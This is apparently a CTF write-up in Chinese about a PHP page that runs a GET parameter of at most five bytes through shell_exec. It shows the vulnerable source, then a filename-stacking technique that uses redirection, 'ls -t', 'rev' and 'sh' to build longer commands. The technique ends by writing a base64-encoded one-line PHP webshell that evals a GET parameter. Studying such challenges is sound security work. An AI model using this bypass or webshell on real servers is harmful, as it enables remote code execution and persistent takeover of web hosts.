王鼎杯 RCE命令執行 五位元組限制

f0r9發表於2024-06-23

原始碼:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
    echo shell_exec($_GET['cmd']);
}
?>

對cmd限制長度五位元組

image
起初是想透過變數來繞過五位元組 但好像不起作用

於是嘗試使用 常規做法透過檔名的疊加來構造payload:
首先要縮小 ls -t的長度 在linux中 重定向符號可以直接建立檔案:
我們使用如下方法:

>-t
>ls

root@forg:/var/www/html/test# ls
ls  -t
#使用*觸發命令 按順序觸發 預設順序是數字字母符號的順序

image
此時還不能夠將ls -t的長度縮短 需要將命令寫入到一個新的檔案中 方便執行
但是由於 '>f'引數永遠會處於ls的第一個 檔案 導致順序不正確
需要使用 rev命令做一個倒置
再使用dir將結果輸出到一個檔案中
d下來是f所以檔名取為f
綜合下來:

>sl
>ht-
>f\>
>dir
# 此時*觸發:
root@forg:/var/www/html/test# *
f>  ht-  sl
# 對結果進行重定向 寫到一個新的檔案中: 等下需要匹配*v所以目標檔名一定與rev的結末字元一致
*>v
# 建立rev對檔案內容進行倒置
root@forg:/var/www/html/test# >rev

image
最後將內容寫入到新的檔案中a中 最後執行a檔案
sh a
最後f檔案記憶體應該存放的是一句話木馬 接下來的操作較為簡單 與七字元繞過基本一致

將payload base64編碼

PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+
透過base64解碼  
整體命令為:echo PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+ | base64 -d
將字元按照總後向前的順序依次寫入
>\-d
>4\ 
>se6
>ba
...........
>PD9

sh a 將命令寫入到f中
最後
 f 中存放著一句話木馬

相關文章